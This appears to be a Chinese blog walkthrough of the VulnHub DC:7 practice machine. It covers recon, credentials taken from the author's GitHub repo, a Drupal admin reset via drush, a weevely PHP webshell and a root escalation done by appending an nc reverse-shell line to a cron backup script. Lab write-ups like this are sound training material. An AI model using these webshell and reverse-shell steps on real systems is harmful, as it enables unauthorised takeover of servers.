准备工作

在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

已经知道了靶机的ip192.168.200.19  利用nmap进行端口探测

nmap -sV -p- 192.168.200.19

开放了80端口和22端口,打开80端口

可以看到CMS是Drupal8,左上角还有个登陆页面

但在尝试dirsearch扫目录,爆密码,搜漏洞都没有利用的点。

后面发现下面有一个@DC7USER,去搜一下还真有发现,DC7的作者上传了源码到github

下载来看看,在config.php找到了数据库的账号密码dc7user——MdR3xOgB7#dW

尝试用这个密码登陆了一下页面,失败

那用这个密码登陆一下ssh,成功

ssh dc7user@192.168.200.19

Drush

有一封邮件

看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限

看看这个脚本的内容

在backups.sh文件中主要发现了两个命令drush,gpg。

Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令

查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错

进入网站目录/var/www/html。用drush命令将admin的密码改成admin

drush user-password admin --password="admin"  

登陆网站看看.

weevely

进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装

然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

输入phpinfo();看看能不能执行

成功,接下来使用weevely生成木马进行连接

weevely generate test test.php

然后将代码复制到编辑的地方保存

再使用weevely连接

weevely http://192.168.200.19/ test

连接成功 获得www-data权限

  

利用backups.sh提权

www-data对之前看到的backups.sh有修改权限

可以在这个脚本添加反弹shell的命令进行提权

很多服务器都将-e功能删除了,只能这样。rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

cat /tmp/f 取出管道符中的内容,

|/bin/sh -i 2>&1 将前面取出的内容作为输入,输入给 /bin/sh,再将bash的标准错误输出 也作为标准输入 (2 >&1)给bash

然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.6 9999 >/tmp/f" >> /opt/scripts/backups.sh

然后打开kali终端 nc -lvf 9999 进行监听,可能要等挺长时间,因为这个脚本是隔一段时间执行一次

(这里我等了很久发现还没有反应,查看了一下sh文件根本没写进去,然后想cd出去发现还没有权限,还以为是我用weevely的方法有问题,网上其他人都是直接反弹shell的,后面发现是写入的路径有问题,应该使用绝对路径/opt/scripts/backups.sh。如果发现很久没反应一定要检查是不是哪里出问题了)

等了一段时间后反弹成功,拿到flag

参考文章

DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)  

DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客

vulnhub-DC:7靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  5. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  6. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. RobotFramework + Python 自动化入门 四 (Web进阶)

    在<RobotFramwork + Python 自动化入门 一>中,完成了一个Robot环境搭建及测试脚本的创建和执行. 在<RobotFramwork + Python 自动化入 ...

  2. Java8-四个函数式接口(Consumer,Supplier,Predicate,Function)

    Java8---函数式接口 Consumer---消费者(accept方法,Lambda与方法引用返回都是Consumer) Supplier---供给型(get方法,返回数据,与Optional可以 ...

  3. Java并发之ReentrantLock源码解析(二)

    在了解如何加锁时候,我们再来了解如何解锁.可重入互斥锁ReentrantLock的解锁方法unlock()并不区分是公平锁还是非公平锁,Sync类并没有实现release(int arg)方法,这里会 ...

  4. 数据同步Datax与Datax_web的部署以及使用说明

    一.DataX3.0概述 DataX 是一个异构数据源离线同步工具,致力于实现包括关系型数据库(MySQL.Oracle等).HDFS.Hive.ODPS.HBase.FTP等各种异构数据源之间稳定高 ...

  5. JS 使用try catch捕获异常

    JS 使用try catch捕获异常 博客说明 文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢! 简介 前端是攻克客户的先锋,需要特别注意到 ...

  6. 企业实施CRM系统 创造更多利润 - Zoho CRM

    对企业来说,客户关系是一种投资.我们都知道企业的资源是有限的,因此必须要将这些有限的资源投入到能够带来持续价值的客户身上.而只有良好的客户关系才能够提高客户的忠诚度,多次购买甚至溢价购买企业的产品,持 ...

  7. AcWing 1252. 搭配购买

    #include<bits/stdc++.h> #define N 10010 using namespace std; int fa[N],v[N],pr[N]; int vv[N],p ...

  8. 基于redis的分布式锁防止高并发重复请求

    需求: 我们先举个某系统验证的列子:(A渠道系统,业务B系统,外部厂商C系统)(1)B业务系统调用A渠道系统,验证传入的手机.身份证.姓名三要素是否一致.(2)A渠道系统再调用外部厂商C系统.(3)A ...

  9. npm run start失败&Node.js 查询指定端口运行情况及终止占用端口办法

    缘由: node.js项目中运行npm run start命令脚本报错,No such file or directory 最开始以为是命令脚本找不到所谓的执行路径,但后面发现不是,是package. ...

  10. OSSBrowser windows使用

    目录 1. 安装 2. 启动OSSBrowser并登录 1. 安装 下载地址:github或官方 2. 启动OSSBrowser并登录 ossbrowser安装包下载到本地解压之后,点击oss-bro ...